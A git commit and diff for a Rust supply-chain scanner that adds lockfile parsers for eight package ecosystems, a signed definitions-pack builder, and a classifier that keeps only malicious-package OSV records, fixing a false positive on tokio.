supply: read lockfiles, and only ever call a malicious package malicious

Lockfile parsing for npm (all three lockfile versions), yarn, cargo,
poetry, requirements.txt, go.sum, Gemfile.lock and composer.lock, wired
through the indicator index so a sweep checks real dependencies against
real definitions. Signed packs load in the daemon; the sweep gets the
index; `hound supply-chain` cites the OSV record it matched.

A lockfile is the right thing to read: it names every transitive
dependency at an exact version in one small file, and it lists what WILL
be installed rather than what already is — which matters when the
payload runs during installation.

Every parser is hand-written rather than pulling in a TOML and a YAML
crate. Two fields from each format, and a scanner parsing hostile input
should have as little parsing surface as it can.

The important part of this commit is a false positive it fixes.

Building a pack from the whole crates.io OSV export and sweeping a
project produced TWO criticals: rustdecimal, correctly, and **tokio
1.38.0**, which is not malware and never has been. The export is 1,524
GHSA and 1,206 RUSTSEC vulnerability advisories against 19 malicious-
package records, and the parser treated all of them as malware.
GHSA-2grh-hm3w-w7hv describes a tokio race condition fixed in 1.8.1;
Hound reported a version released years later as malicious.

Two independent bugs, either of which alone is fatal:

* Vulnerability advisories were ingested at all. A malicious package
  should not exist; a vulnerable one is a legitimate library with a bug
  and most of its versions are fine. Records must now PROVE they are
  malicious-package reports — a MAL- id, the malicious-packages-origins
  marker, or GHSA's "Malicious code in" wording — and anything
  unrecognised is dropped.

* Unrecognised version ranges fell back to "all versions", which is the
  opposite of safe. That is what turned a range of 1.8.0-to-1.8.1 into
  a verdict on every tokio ever published.

Rebuilt against the same input, the pack now holds 19 indicators rather
than 3,614, rustdecimal is still caught and cites MAL-2022-1 rather than
a GHSA advisory, and tokio and serde are clean. The real tokio advisory
is now a regression fixture, because anything that flags tokio is a
product nobody trusts twice.

Also: definitions loading fails CLOSED on authenticity and OPEN on
everything else. No trusted key means no definitions and a message
saying so, because an operator who believes they are protected and is
not is worse off than one who knows. A pack that fails verification is
skipped and the rest still load. No packs at all is a working daemon —
install scripts, prompt injection, pickles and MCP audits need no feed.

There is deliberately no placeholder signing key compiled in. A fake key
that looks real is how a development shortcut becomes a shipped
vulnerability; an empty trust store is noisy in the way that gets fixed
before release. HOUNDD_DEFS_KEY supplies one for development.

294 tests pass across the workspace.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
This commit is contained in:
Hound 2026-08-21 07:29:47 -05:00
parent 4dab08a75a
commit 42cd97d59f
12 changed files with 1386 additions and 26 deletions

3
Cargo.lock generated
View file

@ -1114,6 +1114,7 @@ dependencies = [
name = "hound-supply" name = "hound-supply"
version = "0.1.0" version = "0.1.0"
dependencies = [ dependencies = [
"hound-defs",
"serde", "serde",
"serde_json", "serde_json",
] ]
@ -1123,7 +1124,9 @@ name = "houndd"
version = "0.1.0" version = "0.1.0"
dependencies = [ dependencies = [
"anyhow", "anyhow",
"ed25519-dalek",
"hound-api", "hound-api",
"hound-defs",
"hound-supply", "hound-supply",
"inotify", "inotify",
"libc", "libc",

View file

@ -0,0 +1,105 @@
//! Build and sign a definitions pack from a directory of OSV records.
//!
//! build-pack <osv-dir> <out.pack> <key-file> [version]
//!
//! If the key file does not exist a new signing key is generated into it
//! at mode 0600 and its public half is printed. That public key is what
//! goes into the agent's trust store; the private half never leaves the
//! build machine and is never committed.
//!
//! Key material comes straight from /dev/urandom rather than through a
//! random-number crate: it is thirty-two bytes from the kernel CSPRNG,
//! and fewer moving parts between the entropy source and the key file is
//! the right trade for something this consequential.
use ed25519_dalek::SigningKey;
use hound_defs::{osv, pack, Pack};
use std::io::Read;
fn load_or_create_key(path: &str) -> SigningKey {
if let Ok(bytes) = std::fs::read(path) {
if bytes.len() == 32 {
let mut seed = [0u8; 32];
seed.copy_from_slice(&bytes);
return SigningKey::from_bytes(&seed);
}
eprintln!("{path} is not a 32-byte key; refusing to overwrite it");
std::process::exit(2);
}
let mut seed = [0u8; 32];
std::fs::File::open("/dev/urandom")
.expect("opening /dev/urandom")
.read_exact(&mut seed)
.expect("reading key material");
std::fs::write(path, seed).expect("writing the key");
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
let _ = std::fs::set_permissions(path, std::fs::Permissions::from_mode(0o600));
}
let key = SigningKey::from_bytes(&seed);
let hex: String = key
.verifying_key()
.to_bytes()
.iter()
.map(|b| format!("{b:02x}"))
.collect();
eprintln!("generated a new signing key in {path} (mode 0600)");
eprintln!("public key: {hex}");
eprintln!(" put that in the agent's trust store, or export it for development:");
eprintln!(" export HOUNDD_DEFS_KEY={hex}");
key
}
fn main() {
let args: Vec<String> = std::env::args().skip(1).collect();
if args.len() < 3 {
eprintln!("usage: build-pack <osv-dir> <out.pack> <key-file> [version]");
std::process::exit(2);
}
let (dir, out, key_path) = (&args[0], &args[1], &args[2]);
let version = args
.get(3)
.cloned()
.unwrap_or_else(|| "0.0.0-dev".to_string());
let key = load_or_create_key(key_path);
let mut indicators = Vec::new();
let mut files = 0usize;
for entry in std::fs::read_dir(dir).expect("readable OSV directory").flatten() {
let path = entry.path();
if path.extension().is_none_or(|e| e != "json") {
continue;
}
files += 1;
if let Ok(text) = std::fs::read_to_string(&path) {
indicators.extend(osv::parse_record(&text));
}
}
// Sorted so the same input always produces the same bytes. A pack's
// hash is its identity; directory order is not stable across machines
// and would make two identical builds disagree.
indicators.sort_by(|a, b| (&a.ecosystem, &a.name, &a.id).cmp(&(&b.ecosystem, &b.name, &b.id)));
indicators.dedup();
let p = Pack {
version: version.clone(),
// Passed in rather than read from the clock, for the same reason.
created: args.get(4).cloned().unwrap_or_else(|| "1970-01-01T00:00:00Z".into()),
sources: vec!["ossf/malicious-packages (Apache-2.0)".into(), "osv.dev".into()],
indicators,
};
let signed = pack::sign(&p, &key, "dev").expect("signing the pack");
std::fs::write(out, serde_json::to_string(&signed).expect("encoding")).expect("writing");
println!("read {files} OSV records");
println!("packed {} indicators", p.indicators.len());
println!("version {version}");
println!("sha256 {}", p.sha256().expect("hashing"));
println!("wrote {out}");
}

View file

@ -11,13 +11,24 @@
//! and everything else is provenance. We keep the identifier and the //! and everything else is provenance. We keep the identifier and the
//! summary so a finding can cite its source, and drop the rest. //! summary so a finding can cite its source, and drop the rest.
//! //!
//! One detail matters more than it looks. A malicious-package record //! **This index holds malicious packages only, never vulnerabilities.**
//! almost always carries a range of `introduced: "0"` with no fix, which //! The two live side by side in OSV — the crates.io export is 1,524 GHSA
//! means **every version is malicious**: the package exists only to be //! and 1,206 RUSTSEC advisories against 19 malicious-package records —
//! malware, so there is no safe version to upgrade to. That is different //! and they mean opposite things. A malicious package should not exist at
//! from a vulnerability, where the whole point is the version boundary, //! all; a vulnerable one is a legitimate library with a bug, and most of
//! and conflating the two would either miss real hits or condemn safe //! its versions are fine.
//! versions of legitimate packages. //!
//! Ingesting both cost a false positive on `tokio` during development:
//! the advisory `GHSA-2grh-hm3w-w7hv` describes a race condition fixed in
//! 1.8.1, and Hound reported tokio 1.38.0 — a version released years
//! later — as malware. Anything that flags tokio is a product nobody
//! trusts again. So a record has to *prove* it is a malicious-package
//! report before it becomes an indicator, and anything unrecognised is
//! dropped rather than guessed at.
//!
//! Within that set, a record almost always carries `introduced: "0"` with
//! no fix, meaning every version is malicious: the package exists only to
//! be malware, so there is no safe version to upgrade to.
use serde::{Deserialize, Serialize}; use serde::{Deserialize, Serialize};
@ -105,12 +116,49 @@ pub fn parse_record(json: &str) -> Vec<Indicator> {
parse_value(&v) parse_value(&v)
} }
/// Whether a record reports a malicious package rather than a vulnerability.
///
/// Three independent signals, any of which is sufficient, because the feed
/// is assembled from several sources that do not agree on conventions:
///
/// * a `MAL-` identifier, which is what the malicious-packages feed mints;
/// * `database_specific.malicious-packages-origins`, which that feed
/// attaches when it imports from GHSA or elsewhere;
/// * a summary of the form "Malicious code in …", GHSA's own wording for
/// its malware advisories.
///
/// Anything else is a vulnerability and is not our business here.
pub fn is_malicious_record(v: &serde_json::Value) -> bool {
let id = v.get("id").and_then(|x| x.as_str()).unwrap_or_default();
if id.starts_with("MAL-") {
return true;
}
if v.get("database_specific")
.and_then(|d| d.get("malicious-packages-origins"))
.is_some()
{
return true;
}
let summary = v
.get("summary")
.and_then(|x| x.as_str())
.unwrap_or_default()
.to_ascii_lowercase();
summary.starts_with("malicious code in") || summary.starts_with("malicious package")
}
/// Parse an already-decoded OSV record. /// Parse an already-decoded OSV record.
///
/// Returns nothing for a vulnerability advisory. That is not an oversight
/// — see the module note.
pub fn parse_value(v: &serde_json::Value) -> Vec<Indicator> { pub fn parse_value(v: &serde_json::Value) -> Vec<Indicator> {
let id = v.get("id").and_then(|x| x.as_str()).unwrap_or_default(); let id = v.get("id").and_then(|x| x.as_str()).unwrap_or_default();
if id.is_empty() { if id.is_empty() {
return Vec::new(); return Vec::new();
} }
if !is_malicious_record(v) {
return Vec::new();
}
let summary = v let summary = v
.get("summary") .get("summary")
.and_then(|x| x.as_str()) .and_then(|x| x.as_str())
@ -173,8 +221,9 @@ fn versions_of(affected: &serde_json::Value) -> Versions {
} }
} }
// No usable version information. Treating that as "all versions" is // No usable version information. For a record we have already
// the safe reading for a feed whose entire contents are malware. // confirmed is a malicious-package report, "all versions" is the
// correct reading: the package exists to be malware.
Versions::All Versions::All
} }
@ -246,16 +295,69 @@ mod tests {
); );
} }
// ── the false positive this classifier exists to prevent ──
/// The real advisory, trimmed. Ingesting the whole crates.io export
/// put this in the index and Hound reported tokio 1.38.0 as malware.
const REAL_TOKIO_ADVISORY: &str = r#"{
"id": "GHSA-2grh-hm3w-w7hv",
"summary": "Race condition in tokio",
"affected": [{
"package": {"name": "tokio", "ecosystem": "crates.io"},
"ranges": [{"type": "SEMVER", "events": [{"introduced": "1.8.0"}, {"fixed": "1.8.1"}]}]
}]
}"#;
#[test] #[test]
fn a_range_with_a_fix_is_not_treated_as_all_versions() { fn a_vulnerability_advisory_is_not_a_malicious_package() {
let json = r#"{"id":"GHSA-x","summary":"s","affected":[{ assert!(
"package":{"name":"lib","ecosystem":"npm"}, parse_record(REAL_TOKIO_ADVISORY).is_empty(),
"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.0.0"}]}] "tokio has advisories like every large library; flagging it as malware \
}]}"#; would end the product"
let ind = parse_record(json); );
// Falls through to the conservative default rather than claiming assert!(!is_malicious_record(
// a precise range we have not implemented. &serde_json::from_str(REAL_TOKIO_ADVISORY).unwrap()
assert_eq!(ind[0].versions, Versions::All); ));
}
#[test]
fn rustsec_advisories_are_not_malicious_packages_either() {
let json = r#"{"id":"RUSTSEC-2021-0079","summary":"Integer overflow in hyper",
"affected":[{"package":{"name":"hyper","ecosystem":"crates.io"},
"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.14.10"}]}]}]}"#;
assert!(parse_record(json).is_empty());
}
#[test]
fn a_mal_identifier_is_enough_to_classify() {
assert!(is_malicious_record(&serde_json::from_str(REAL_MAL).unwrap()));
}
#[test]
fn a_ghsa_malware_advisory_is_recognised_by_its_wording() {
// GHSA mints its own ids for malware, so the MAL- prefix is not
// always there. The malicious-packages feed imports these.
let json = r#"{"id":"GHSA-mhg2-cg9m-q926","summary":"Malicious code in test-poc2 (npm)",
"affected":[{"package":{"name":"test-poc2","ecosystem":"npm"}}]}"#;
assert_eq!(parse_record(json).len(), 1);
}
#[test]
fn the_origins_marker_is_recognised() {
let json = r#"{"id":"GHSA-xyz","summary":"Something",
"database_specific":{"malicious-packages-origins":[{"source":"ghsa-malware"}]},
"affected":[{"package":{"name":"evil","ecosystem":"npm"}}]}"#;
assert_eq!(parse_record(json).len(), 1);
}
#[test]
fn an_unclassifiable_record_is_dropped_rather_than_guessed_at() {
let json = r#"{"id":"SOMETHING-1","summary":"who knows",
"affected":[{"package":{"name":"lib","ecosystem":"npm"}}]}"#;
assert!(
parse_record(json).is_empty(),
"an indicator we cannot justify must not be created"
);
} }
#[test] #[test]

View file

@ -7,5 +7,6 @@ license.workspace = true
repository.workspace = true repository.workspace = true
[dependencies] [dependencies]
hound-defs.workspace = true
serde.workspace = true serde.workspace = true
serde_json.workspace = true serde_json.workspace = true

View file

@ -44,10 +44,6 @@ struct Pattern {
matches: fn(&str) -> bool, matches: fn(&str) -> bool,
} }
fn has_all(hay: &str, needles: &[&str]) -> bool {
needles.iter().all(|n| hay.contains(n))
}
fn has_any(hay: &str, needles: &[&str]) -> bool { fn has_any(hay: &str, needles: &[&str]) -> bool {
needles.iter().any(|n| hay.contains(n)) needles.iter().any(|n| hay.contains(n))
} }

View file

@ -19,6 +19,7 @@
pub mod injection; pub mod injection;
pub mod installscript; pub mod installscript;
pub mod lockfile;
pub mod mcp; pub mod mcp;
pub mod pickle; pub mod pickle;
pub mod sweep; pub mod sweep;

View file

@ -0,0 +1,611 @@
//! Lockfile parsing.
//!
//! The scanner walks manifests rather than trees, and a lockfile is the
//! best manifest there is: it names every transitive dependency at an
//! exact version, in one small file, without walking a `node_modules`
//! with forty thousand entries in it.
//!
//! It also catches what a directory walk cannot. A lockfile lists what
//! *will* be installed the next time somebody runs `npm ci`, so a
//! malicious dependency is visible before it has ever executed — which
//! matters enormously when the payload runs at install time.
//!
//! Every parser here is hand-written against the file formats rather than
//! pulling in a TOML and a YAML crate. These are all simple line or JSON
//! formats, we need two fields from each, and a scanner that must parse
//! hostile input should have as little parsing surface as possible.
use serde::{Deserialize, Serialize};
use std::path::Path;
/// One dependency, pinned.
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
pub struct PackageRef {
/// Normalised ecosystem, matching `hound_defs::osv::normalise_ecosystem`.
pub ecosystem: String,
pub name: String,
/// Empty when the file does not pin one.
pub version: String,
}
impl PackageRef {
fn new(ecosystem: &str, name: &str, version: &str) -> Self {
Self {
ecosystem: ecosystem.to_string(),
name: name.to_string(),
version: version.to_string(),
}
}
}
/// Lockfile names we know how to read.
pub const LOCKFILES: &[&str] = &[
"package-lock.json",
"npm-shrinkwrap.json",
"yarn.lock",
"cargo.lock",
"requirements.txt",
"poetry.lock",
"go.sum",
"gemfile.lock",
"composer.lock",
];
/// True when a filename is a lockfile we can parse.
pub fn is_lockfile(name: &str) -> bool {
LOCKFILES.contains(&name.to_ascii_lowercase().as_str())
}
/// Parse whichever format the filename implies.
pub fn parse(path: &Path, text: &str) -> Vec<PackageRef> {
let name = path
.file_name()
.map(|n| n.to_string_lossy().to_ascii_lowercase())
.unwrap_or_default();
match name.as_str() {
"package-lock.json" | "npm-shrinkwrap.json" => npm_lock(text),
"yarn.lock" => yarn_lock(text),
"cargo.lock" => cargo_lock(text),
"requirements.txt" => requirements_txt(text),
"poetry.lock" => poetry_lock(text),
"go.sum" => go_sum(text),
"gemfile.lock" => gemfile_lock(text),
"composer.lock" => composer_lock(text),
_ => Vec::new(),
}
}
// ── npm ─────────────────────────────────────────────────────────────────
/// `package-lock.json`, all three lockfile versions.
///
/// v2 and v3 use a flat `packages` map keyed by install path, where the
/// key is `node_modules/<name>` or nested. v1 uses a recursive
/// `dependencies` tree. Both shapes appear in the wild — v1 in older
/// projects, v3 in anything recent — so both are handled rather than
/// assuming the current one.
pub fn npm_lock(text: &str) -> Vec<PackageRef> {
let Ok(v) = serde_json::from_str::<serde_json::Value>(text) else {
return Vec::new();
};
let mut out = Vec::new();
if let Some(packages) = v.get("packages").and_then(|p| p.as_object()) {
for (path, entry) in packages {
// The root project is keyed by "" and is not a dependency.
if path.is_empty() {
continue;
}
// An entry may carry an explicit name; otherwise the last
// node_modules segment is it, which keeps scoped names intact.
let name = entry
.get("name")
.and_then(|n| n.as_str())
.map(str::to_string)
.or_else(|| npm_name_from_path(path))
.unwrap_or_default();
if name.is_empty() {
continue;
}
let version = entry
.get("version")
.and_then(|x| x.as_str())
.unwrap_or_default();
out.push(PackageRef::new("npm", &name, version));
}
}
if let Some(deps) = v.get("dependencies").and_then(|d| d.as_object()) {
npm_v1_tree(deps, &mut out);
}
dedupe(out)
}
/// `node_modules/foo` → `foo`; `node_modules/a/node_modules/@s/b` → `@s/b`.
fn npm_name_from_path(path: &str) -> Option<String> {
let tail = path.rsplit("node_modules/").next()?;
(!tail.is_empty()).then(|| tail.to_string())
}
fn npm_v1_tree(deps: &serde_json::Map<String, serde_json::Value>, out: &mut Vec<PackageRef>) {
for (name, entry) in deps {
let version = entry
.get("version")
.and_then(|x| x.as_str())
.unwrap_or_default();
out.push(PackageRef::new("npm", name, version));
if let Some(nested) = entry.get("dependencies").and_then(|d| d.as_object()) {
npm_v1_tree(nested, out);
}
}
}
/// `yarn.lock` v1: a descriptor line, then an indented `version "x"`.
pub fn yarn_lock(text: &str) -> Vec<PackageRef> {
let mut out = Vec::new();
let mut pending: Option<String> = None;
for line in text.lines() {
let trimmed = line.trim();
if trimmed.is_empty() || trimmed.starts_with('#') {
continue;
}
if !line.starts_with(' ') && trimmed.ends_with(':') {
// `"@scope/pkg@^1.0.0", "@scope/pkg@^1.1.0":`
let first = trimmed.trim_end_matches(':').split(',').next().unwrap_or("");
pending = yarn_name(first.trim().trim_matches('"'));
continue;
}
if let Some(rest) = trimmed.strip_prefix("version ") {
if let Some(name) = pending.take() {
out.push(PackageRef::new("npm", &name, rest.trim().trim_matches('"')));
}
}
}
dedupe(out)
}
/// Split a yarn descriptor into its package name.
///
/// The range separator is the LAST `@`, not the first, because scoped
/// names begin with one: `@vue/cli@^5.0.0` is `@vue/cli`, not `` .
fn yarn_name(descriptor: &str) -> Option<String> {
if descriptor.is_empty() {
return None;
}
// Skip a leading scope marker before searching, so the scope's own @
// is never mistaken for the range separator.
let search_from = usize::from(descriptor.starts_with('@'));
let at = descriptor[search_from..].rfind('@')? + search_from;
let name = &descriptor[..at];
(!name.is_empty()).then(|| name.to_string())
}
// ── cargo and poetry: the same TOML shape ───────────────────────────────
/// `Cargo.lock`: repeated `[[package]]` blocks with `name` and `version`.
pub fn cargo_lock(text: &str) -> Vec<PackageRef> {
dedupe(toml_package_blocks(text, "cratesio"))
}
/// `poetry.lock`: identical block structure to Cargo.lock.
pub fn poetry_lock(text: &str) -> Vec<PackageRef> {
dedupe(toml_package_blocks(text, "pypi"))
}
fn toml_package_blocks(text: &str, ecosystem: &str) -> Vec<PackageRef> {
let mut out = Vec::new();
let mut name: Option<String> = None;
let mut version = String::new();
let mut in_block = false;
let flush = |name: &mut Option<String>, version: &mut String, out: &mut Vec<PackageRef>| {
if let Some(n) = name.take() {
out.push(PackageRef::new(ecosystem, &n, version));
}
version.clear();
};
for line in text.lines() {
let t = line.trim();
if t == "[[package]]" {
flush(&mut name, &mut version, &mut out);
in_block = true;
continue;
}
// Any other section header ends the block — poetry puts
// [package.dependencies] and [metadata] tables after each entry.
if t.starts_with('[') && t != "[[package]]" {
if !t.starts_with("[package.") {
flush(&mut name, &mut version, &mut out);
in_block = false;
}
continue;
}
if !in_block {
continue;
}
if let Some(v) = toml_string_value(t, "name") {
// A second `name` before a flush means the previous block had
// no version; keep it rather than losing the package.
if name.is_some() {
flush(&mut name, &mut version, &mut out);
}
name = Some(v);
} else if let Some(v) = toml_string_value(t, "version") {
version = v;
}
}
flush(&mut name, &mut version, &mut out);
out
}
fn toml_string_value(line: &str, key: &str) -> Option<String> {
let rest = line.strip_prefix(key)?;
let rest = rest.trim_start();
let rest = rest.strip_prefix('=')?.trim();
let value = rest.trim_matches('"');
(!value.is_empty() && rest.starts_with('"')).then(|| value.to_string())
}
// ── python, go, ruby, php ───────────────────────────────────────────────
/// `requirements.txt`. Only `==` pins are taken as versions; a range is
/// recorded with an empty version rather than a guess.
pub fn requirements_txt(text: &str) -> Vec<PackageRef> {
let mut out = Vec::new();
for line in text.lines() {
let mut t = line.trim();
if t.is_empty() || t.starts_with('#') || t.starts_with('-') {
continue;
}
// Strip inline comments and environment markers.
if let Some(hash) = t.find(" #") {
t = t[..hash].trim();
}
if let Some(semi) = t.find(';') {
t = t[..semi].trim();
}
// A URL or local path requirement names no registry package.
if t.contains("://") || t.starts_with('.') || t.starts_with('/') {
continue;
}
let (name, version) = match t.find("==") {
Some(i) => (&t[..i], t[i + 2..].trim()),
None => {
let end = t
.find(['>', '<', '~', '!', '=', '[', ' '])
.unwrap_or(t.len());
(&t[..end], "")
}
};
let name = name.trim();
if !name.is_empty() {
out.push(PackageRef::new("pypi", name, version));
}
}
dedupe(out)
}
/// `go.sum`: `module version hash`, with `/go.mod` lines duplicating each.
pub fn go_sum(text: &str) -> Vec<PackageRef> {
let mut out = Vec::new();
for line in text.lines() {
let mut parts = line.split_whitespace();
let (Some(module), Some(version)) = (parts.next(), parts.next()) else {
continue;
};
// Every module appears twice, once with a /go.mod suffix.
let version = version.trim_end_matches("/go.mod");
out.push(PackageRef::new("go", module, version));
}
dedupe(out)
}
/// `Gemfile.lock`: indented `name (version)` under the specs section.
pub fn gemfile_lock(text: &str) -> Vec<PackageRef> {
let mut out = Vec::new();
let mut in_specs = false;
for line in text.lines() {
let t = line.trim();
if t == "specs:" {
in_specs = true;
continue;
}
// A non-indented line ends the section.
if !line.starts_with(' ') && !t.is_empty() {
in_specs = false;
continue;
}
if !in_specs || t.is_empty() {
continue;
}
// Direct specs are indented four spaces; their dependencies six.
let indent = line.len() - line.trim_start().len();
if indent != 4 {
continue;
}
let (name, version) = match t.find(" (") {
Some(i) => (&t[..i], t[i + 2..].trim_end_matches(')')),
None => (t, ""),
};
if !name.is_empty() {
out.push(PackageRef::new("rubygems", name, version));
}
}
dedupe(out)
}
/// `composer.lock`: JSON with `packages` and `packages-dev` arrays.
pub fn composer_lock(text: &str) -> Vec<PackageRef> {
let Ok(v) = serde_json::from_str::<serde_json::Value>(text) else {
return Vec::new();
};
let mut out = Vec::new();
for key in ["packages", "packages-dev"] {
let Some(arr) = v.get(key).and_then(|p| p.as_array()) else {
continue;
};
for entry in arr {
let Some(name) = entry.get("name").and_then(|n| n.as_str()) else {
continue;
};
let version = entry
.get("version")
.and_then(|x| x.as_str())
.unwrap_or_default();
out.push(PackageRef::new("packagist", name, version));
}
}
dedupe(out)
}
fn dedupe(mut refs: Vec<PackageRef>) -> Vec<PackageRef> {
refs.sort_by(|a, b| (&a.ecosystem, &a.name, &a.version).cmp(&(&b.ecosystem, &b.name, &b.version)));
refs.dedup();
refs
}
#[cfg(test)]
mod tests {
use super::*;
fn names(refs: &[PackageRef]) -> Vec<&str> {
refs.iter().map(|r| r.name.as_str()).collect()
}
fn find<'a>(refs: &'a [PackageRef], name: &str) -> &'a PackageRef {
refs.iter().find(|r| r.name == name).unwrap_or_else(|| panic!("{name} not found in {:?}", names(refs)))
}
// ── npm ──
#[test]
fn parses_npm_lockfile_v3() {
let text = r#"{
"name": "app", "lockfileVersion": 3,
"packages": {
"": {"name": "app", "version": "1.0.0"},
"node_modules/react": {"version": "18.2.0"},
"node_modules/@vue/cli-plugin-babe1": {"version": "1.0.2"}
}
}"#;
let refs = npm_lock(text);
assert_eq!(find(&refs, "react").version, "18.2.0");
assert_eq!(
find(&refs, "@vue/cli-plugin-babe1").version,
"1.0.2",
"a scoped name must survive intact"
);
assert!(!names(&refs).contains(&"app"), "the root project is not a dependency");
}
#[test]
fn parses_npm_lockfile_v1() {
// Old projects are still out there and still get scanned.
let text = r#"{
"lockfileVersion": 1,
"dependencies": {
"express": {"version": "4.19.2",
"dependencies": {"body-parser": {"version": "1.20.2"}}}
}
}"#;
let refs = npm_lock(text);
assert_eq!(find(&refs, "express").version, "4.19.2");
assert_eq!(
find(&refs, "body-parser").version,
"1.20.2",
"transitive dependencies are the point of reading a lockfile"
);
}
#[test]
fn nested_npm_paths_yield_the_package_not_the_path() {
let text = r#"{"packages":{"node_modules/a/node_modules/@s/b":{"version":"2.0.0"}}}"#;
let refs = npm_lock(text);
assert_eq!(names(&refs), vec!["@s/b"]);
}
#[test]
fn parses_yarn_lock_v1() {
let text = r#"
# yarn lockfile v1
"@vue/cli-plugin-babel@^5.0.0":
version "5.0.8"
resolved "https://registry.yarnpkg.com/..."
lodash@^4.17.21:
version "4.17.21"
"#;
let refs = yarn_lock(text);
assert_eq!(
find(&refs, "@vue/cli-plugin-babel").version,
"5.0.8",
"the range separator is the LAST @, not the first"
);
assert_eq!(find(&refs, "lodash").version, "4.17.21");
}
#[test]
fn a_scoped_yarn_descriptor_keeps_its_scope() {
assert_eq!(yarn_name("@vue/cli@^5.0.0").as_deref(), Some("@vue/cli"));
assert_eq!(yarn_name("lodash@^4.0.0").as_deref(), Some("lodash"));
assert_eq!(yarn_name("@scope/pkg@npm:1.2.3").as_deref(), Some("@scope/pkg"));
assert_eq!(yarn_name("").as_deref(), None);
assert_eq!(yarn_name("no-range-here").as_deref(), None);
}
// ── cargo and poetry ──
#[test]
fn parses_cargo_lock() {
let text = r#"
version = 3
[[package]]
name = "serde"
version = "1.0.203"
[[package]]
name = "rustdecimal"
version = "1.23.1"
"#;
let refs = cargo_lock(text);
assert_eq!(find(&refs, "serde").version, "1.0.203");
assert_eq!(find(&refs, "rustdecimal").version, "1.23.1");
assert_eq!(refs[0].ecosystem, "cratesio");
}
#[test]
fn parses_poetry_lock_with_its_extra_tables() {
// poetry puts [package.dependencies] between entries, which a
// naive block parser would treat as the end of the package.
let text = r#"
[[package]]
name = "requests"
version = "2.31.0"
[package.dependencies]
urllib3 = ">=1.21.1"
[[package]]
name = "langchain-helpers"
version = "0.0.3"
[metadata]
lock-version = "2.0"
"#;
let refs = poetry_lock(text);
assert_eq!(find(&refs, "requests").version, "2.31.0");
assert_eq!(find(&refs, "langchain-helpers").version, "0.0.3");
assert_eq!(refs.len(), 2, "the metadata table is not a package");
}
// ── python requirements ──
#[test]
fn parses_pinned_requirements() {
let text = "requests==2.31.0\nnumpy==1.26.4\n";
let refs = requirements_txt(text);
assert_eq!(find(&refs, "requests").version, "2.31.0");
assert_eq!(find(&refs, "numpy").version, "1.26.4");
}
#[test]
fn an_unpinned_requirement_records_no_version_rather_than_guessing() {
let refs = requirements_txt("flask>=2.0\ndjango\n");
assert_eq!(find(&refs, "flask").version, "");
assert_eq!(find(&refs, "django").version, "");
}
#[test]
fn requirements_comments_flags_markers_and_urls_are_skipped() {
let text = "# a comment\n-r other.txt\n--index-url https://x\n\
requests==2.31.0 # inline\n\
pkg==1.0 ; python_version < '3.9'\n\
git+https://github.com/a/b.git\n\
./local-package\n";
let refs = requirements_txt(text);
assert_eq!(names(&refs), vec!["pkg", "requests"]);
assert_eq!(find(&refs, "requests").version, "2.31.0");
}
#[test]
fn extras_are_stripped_from_the_name() {
let refs = requirements_txt("celery[redis]>=5.0\n");
assert_eq!(names(&refs), vec!["celery"]);
}
// ── go, ruby, php ──
#[test]
fn parses_go_sum_without_duplicating_modules() {
let text = "github.com/pkg/errors v0.9.1 h1:abc=\n\
github.com/pkg/errors v0.9.1/go.mod h1:def=\n";
let refs = go_sum(text);
assert_eq!(refs.len(), 1, "the /go.mod line is the same module");
assert_eq!(refs[0].name, "github.com/pkg/errors");
assert_eq!(refs[0].version, "v0.9.1");
}
#[test]
fn parses_gemfile_lock_specs_only() {
let text = "GEM\n remote: https://rubygems.org/\n specs:\n rails (7.1.3)\n actionpack (= 7.1.3)\n rake (13.1.0)\n\nPLATFORMS\n ruby\n";
let refs = gemfile_lock(text);
assert_eq!(find(&refs, "rails").version, "7.1.3");
assert_eq!(find(&refs, "rake").version, "13.1.0");
assert!(
!names(&refs).contains(&"actionpack"),
"a nested dependency constraint is not a pinned spec"
);
}
#[test]
fn parses_composer_lock_including_dev() {
let text = r#"{"packages":[{"name":"monolog/monolog","version":"3.5.0"}],
"packages-dev":[{"name":"phpunit/phpunit","version":"10.5.0"}]}"#;
let refs = composer_lock(text);
assert_eq!(find(&refs, "monolog/monolog").version, "3.5.0");
assert_eq!(find(&refs, "phpunit/phpunit").version, "10.5.0");
}
// ── dispatch and robustness ──
#[test]
fn dispatches_on_filename() {
assert!(is_lockfile("package-lock.json"));
assert!(is_lockfile("Cargo.lock"), "case must not matter");
assert!(is_lockfile("Gemfile.lock"));
assert!(!is_lockfile("package.json"));
assert!(!is_lockfile("README.md"));
}
#[test]
fn parse_routes_by_path() {
let refs = parse(Path::new("/x/Cargo.lock"), "[[package]]\nname = \"serde\"\nversion = \"1.0\"\n");
assert_eq!(refs[0].ecosystem, "cratesio");
}
#[test]
fn an_unknown_filename_yields_nothing() {
assert!(parse(Path::new("/x/whatever.txt"), "content").is_empty());
}
#[test]
fn malformed_input_never_panics() {
for text in ["{", "", "[[package]]", "\0\0\0", "name = \"", "specs:\n "] {
for f in LOCKFILES {
let _ = parse(Path::new(f), text);
}
}
}
#[test]
fn duplicates_are_collapsed() {
let text = r#"{"packages":{"node_modules/a":{"version":"1.0.0"}},
"dependencies":{"a":{"version":"1.0.0"}}}"#;
assert_eq!(npm_lock(text).len(), 1, "the same pin twice is one package");
}
}

View file

@ -12,7 +12,8 @@
//! because a sweep that walks into a 40GB dataset directory is a sweep //! because a sweep that walks into a 40GB dataset directory is a sweep
//! somebody kills halfway through and never runs again. //! somebody kills halfway through and never runs again.
use crate::{injection, installscript, mcp, pickle, Finding, Report}; use crate::{injection, installscript, lockfile, mcp, pickle, Finding, Report, Severity};
use hound_defs::Index;
use std::path::{Path, PathBuf}; use std::path::{Path, PathBuf};
/// Directory names never worth descending into. /// Directory names never worth descending into.
@ -36,6 +37,11 @@ const MAX_MANIFEST_BYTES: u64 = 4 * 1024 * 1024;
/// so we only ever read this much of one. /// so we only ever read this much of one.
const PICKLE_PREFIX_BYTES: usize = 512 * 1024; const PICKLE_PREFIX_BYTES: usize = 512 * 1024;
/// A lockfile for a large monorepo is genuinely big — package-lock.json
/// runs to tens of megabytes — so this cap is far looser than the one for
/// manifests.
const MAX_LOCKFILE_BYTES: u64 = 64 * 1024 * 1024;
/// Filenames that hold MCP server definitions. /// Filenames that hold MCP server definitions.
const MCP_FILES: &[&str] = &[ const MCP_FILES: &[&str] = &[
